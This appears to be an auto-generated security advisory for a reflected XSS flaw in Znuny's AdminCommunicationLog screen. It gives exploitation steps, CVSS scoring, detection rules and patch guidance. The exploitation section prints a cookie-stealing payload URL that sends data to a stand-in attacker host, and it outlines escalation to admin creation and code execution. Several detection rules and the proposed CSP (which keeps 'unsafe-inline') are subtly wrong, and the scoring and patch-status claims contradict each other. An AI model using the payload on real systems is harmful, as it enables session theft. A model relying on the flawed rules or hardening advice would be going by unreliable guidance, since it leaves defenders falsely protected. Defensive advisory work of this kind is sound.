CVE-2026-50592

Executive Summary

CVE-2026-50592 is a reflected Cross-Site Scripting (XSS) vulnerability in the AdminCommunicationLog module of the Znuny open-source help desk and ticketing system. Affected deployments include all Znuny LTS builds prior to 6.5.21 and all Znuny (non-LTS) builds prior to 7.3.3, which are typically exposed to the internet. An authenticated attacker with administrative access can inject arbitrary JavaScript into the communication log administration view, leading to session hijacking of other admins, privilege escalation, or full compromise of the underlying server via command execution through the admin panel.

The vulnerability carries a CVSS score of 6.4 (Medium severity) with an EPSS score of 0.00148 (4.5th percentile), indicating low immediate exploitation probability; however, the attack surface is significant because Znuny is widely deployed in enterprise service desk environments. No public proof-of-concept or in-the-wild exploitation has been reported, and the vulnerability is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog.

Technical Analysis

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a reflected XSS flaw. The affected component is AdminCommunicationLog, which is part of the Znuny administrative backend that visualizes email and communication logs.

In vulnerable versions, the application fails to sanitize or URL-encode certain parameters before reflecting them into the HTML page structure of the communication log view. A typical attack vector involves a URL crafted like:

https://target/znuny/index.pl?Action=AdminCommunicationLog&Filter=...<script>alert(document.domain)</script>

The application takes the Filter (or similar) parameter and echoes it directly into a <div> or inline JavaScript context without output encoding. Because the parameter is reflected and the Content-Type header for this endpoint is text/html, the user's browser parses the embedded script payload in the context of the Znuny application origin.

The vulnerability requires an authenticated session with administrative privileges. Znuny's permission model applies coarse-grained checks to the controller; once a user reaches the AdminCommunicationLog screen, sub-parameter injection is possible. This reduces the attack surface to internal users or attackers who have already compromised a lower-level account, but increases the impact because the payload executes within the highest-privilege UI context.

Notably, the lack of a Content-Security-Policy (CSP) header in Znuny default configurations exacerbates the impact. Even with a restrictive CSP, reflected XSS in a high-privilege context can lead to severe data exfiltration or session manipulation.

Exploitation Scenarios

Preconditions: Attacker holds a valid administrative account (or a non-admin account that has been granted access to the admin module via custom ACLs).

Step 1 – Reconnaissance & Target Identification: The attacker identifies Znuny instances via Shodan dorks (http.title:"Znuny" or http.component:"Znuny"). They fingerprint the version by requesting /index.pl?Action=Installer or fetching the login page footer, which displays the build number.

Step 2 – Weaponization & Trigger: The attacker crafts a malicious URL:

https://target/otrs/index.pl?Action=AdminCommunicationLog;Filter=1%22%3E%3Cscript%3Efetch('https://evil.example/steal?c='%2Bdocument.cookie)%3C%2Fscript%3E

They then send this link to a co-admin (or lure them via an internal ticket referencing the link). When the victim (another admin) clicks it, the request is processed, and the Filter value is reflected unsanitized.

Step 3 – Payload Execution: The victim's browser executes the script. The payload exfiltrates the victim's session cookie (document.cookie) to an attacker-controlled server. Alternatively, a more advanced payload can perform a Silent fetch() to Action=AdminUserAdd to create a new persistent admin account with full privileges, a technique known as "admin creation via CSRF-style POST."

Step 4 – Post-Exploitation Impact: With the stolen session or newly created account, the attacker logs in as a full admin. From here, they can:

• Configure malicious system configurations (e.g., change SMTP settings to intercept password reset emails).
• Upload arbitrary Perl modules via the package manager to gain remote code execution on the server.
• Exfiltrate the entire ticket database, including SLA data, customer PII, and email contents.

Impact Assessment

• CVSS v3.1 Score: 6.4 / 10 (Medium)
• Attack Vector (AV): Network (N) — remotely reachable over HTTP/HTTPS.
• Attack Complexity (AC): Low (L) — no complex conditions required.
• Privileges Required (PR): Low (L) — requires one valid admin account.
• User Interaction (UI): Required (R) — victim must click a crafted link.
• Scope (S): Changed (C) — the XSS impacts the victim's browser context, which goes beyond the vulnerable component.
• Confidentiality Impact (C): Low — exfiltration of session tokens.
• Integrity Impact (I): Low — ability to tamper with admin UI, submit forged actions.
• Availability Impact (A): None.

Business Impact: Znuny is used by ITIL-focused enterprises to manage critical SLAs and customer communication. A successful attack leads to:

• Loss of administrative control over the ticketing system.
• Exposure of sensitive customer PII and internal communications (GDPR/CCPA exposure).
• Lateral movement into the broader corporate network if the Znuny server is weakly segmented.
• Reputational damage and regulatory fines.

Blast Radius: All configured queues, all agents, all customers with an account on the Znuny instance. The attacker gains the same access as any admin user.

Detection Guidance

Sigma Rule

title: Znuny AdminCommunicationLog Reflected XSS Attempt
id: 5f5d3b3e-4f3a-4b7d-9c8e-5a29b19d0c1c
status: experimental
description: Detects crafted URLs targeting AdminCommunicationLog with suspicious script tags in query parameters.
logsource:
  category: webserver
  product: apache
  definition: 'Detection of Znuny/OTRS web traffic logs'
detection:
  selection:
    cs-method: GET
    cs-uri-query|contains:
      - 'Action=AdminCommunicationLog'
    cs-uri-query|contains|all:
      - '<script'
      - '%3Cscript%3E'
  condition: selection
falsepositives:
  - Legitimate debugging or security research traffic
level: high

YARA Rule

rule Znuny_AdminCommLog_XSS_Attempt
{
    meta:
        author = "Valters It SOC"
        description = "Detects HTTP requests containing Znuny AdminCommunicationLog XSS payloads"
        date = "2026-02-14"
        cve = "CVE-2026-50592"
    strings:
        $a1 = "AdminCommunicationLog" ascii nocase
        $a2 = "script" ascii nocase
        $a3 = "document.cookie" ascii nocase
        $a4 = "action=AdminCommunicationLog" ascii nocase
        $xss = /(<\s*\/?\s*script|%3C%2F?script|javascript:)/ nocase
    condition:
        any of ($a*) and $xss
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-50592 Znuny AdminCommunicationLog Reflected XSS"; flow:established,to_server; content:"GET"; http_method; content:"AdminCommunicationLog"; http_uri; nocase; content:"<script"; http_uri; nocase; content:!"User-Agent"; sid:202650592; rev:1; metadata:attack_target Web_Server, created_at 2026_02_14, deployment Perimeter, signature_severity Major, tag xss, cve 2026-50592;)

Elastic Detection

sequence by process.entity_id
  [network where process.name == "nginx" or process.name == "apache2" and
   network.protocol == "http" and
   url.path == "*/index.pl" and
   url.query contains "Action=AdminCommunicationLog" and
   url.query contains ("<script", "%3Cscript", "javascript:")]

Splunk SPL Query

index=web sourcetype=access_combined
| where like(uri_path, "%index.pl%")
| search uri_query="*Action=AdminCommunicationLog*"
| search uri_query IN ("*<script*", "*%3Cscript*", "*javascript:*")
| table _time, clientip, uri_query, user, status
| stats count by clientip, uri_query

Wazuh OSSEC Rule

<group name="znuny-xss,">
  <rule id="100592" level="12">
    <decoded>url</decoded>
    <match>Action=AdminCommunicationLog</match>
    <regex>(\<script|%3Cscript|javascript:)</regex>
    <description>Possible CVE-2026-50592 Reflected XSS against Znuny AdminCommunicationLog</description>
    <group>attack.xss,</group>
  </rule>
</group>

Mitigation & Patch Guidance

⚠ Patch Confidence: 0/4 — UNPATCHED: No tracked source has published a patch commit at the time of writing. The NVD description references fixed versions (6.5.21 and 7.3.3), so the vendor has likely released fixes; however, no patch diff or advisory URL has been indexed. Do not claim "no patch exists" based on our tracking gap — treat the vendor's listed fixed versions as authoritative until a public advisory is found.

1. Immediate Mitigations (until upgrade):

   • Restrict access to AdminCommunicationLog via Znuny ACLs to a minimal set of trusted accounts.
   • Place an HTTP reverse proxy (nginx/HAProxy) in front of Znuny and add a WAF rule to block query parameters containing <script, %3Cscript, onerror=, or javascript:.
   • Enforce Multi-Factor Authentication (MFA) for all administrative accounts to reduce session-hijacking impact.

2. Patch/Upgrade Steps:

   • LTS: Upgrade Znuny to version 6.5.21 or later.
   • Non-LTS: Upgrade Znuny to version 7.3.3 or later.
   • From the server console, run:

     sudo -u znuny /opt/znuny/bin/znuny.Console.pl Admin::Package::UpgradeAll
     

   • After upgrade, verify the version via /otrs/index.pl?Action=AdminSystemConfiguration and confirm the build number.

3. Long-Term Hardening:

   • Enable a Content-Security-Policy header on the Znuny virtual host (e.g., default-src 'self'; script-src 'self' 'unsafe-inline') to mitigate future reflected XSS, noting that Znuny may require inline scripts for legacy modules.
   • Segment the Znuny server from the rest of the corporate network; restrict outbound egress traffic from the server to only required SMTP and DB hosts.
   • Enable audit logging for all admin-level actions (SysConfig → Admin::Log), and alert on creation of new admin accounts.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-50592
   • Official NVD record with CVSS vector and CWE mapping.
2. Znuny Security Advisories (official): https://znuny.org/security-advisories
   • Monitor this page for the official advisory linked to this CVE; patch release notes are typically published here first.
3. Znuny Release Notes (LTS): https://znuny.org/znuny/releases/znuny-lts-6-5
   • Confirms the 6.5.21 release and its bundled security fixes.
4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
   • CVE-2026-50592 is NOT listed; no evidence of in-the-wild exploitation.
5. First.org CVSS v3.1 Specification: https://www.first.org/cvss/specification-document
   • Reference for interpreting the CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N vector.

Threat Actor Activity: No campaigns targeting this specific CVE have been observed in open-source or commercial threat intelligence feeds as of the report date. The EPSS score (0.00148, 4.5th percentile) suggests the exploitability is not well understood or weaponized. However, Znuny (and its predecessor OTRS) has been a frequent target for botnet-driven credential stuffing and generic web-shell uploads, so administrators should treat this XSS as a potential foothold in a larger attack chain.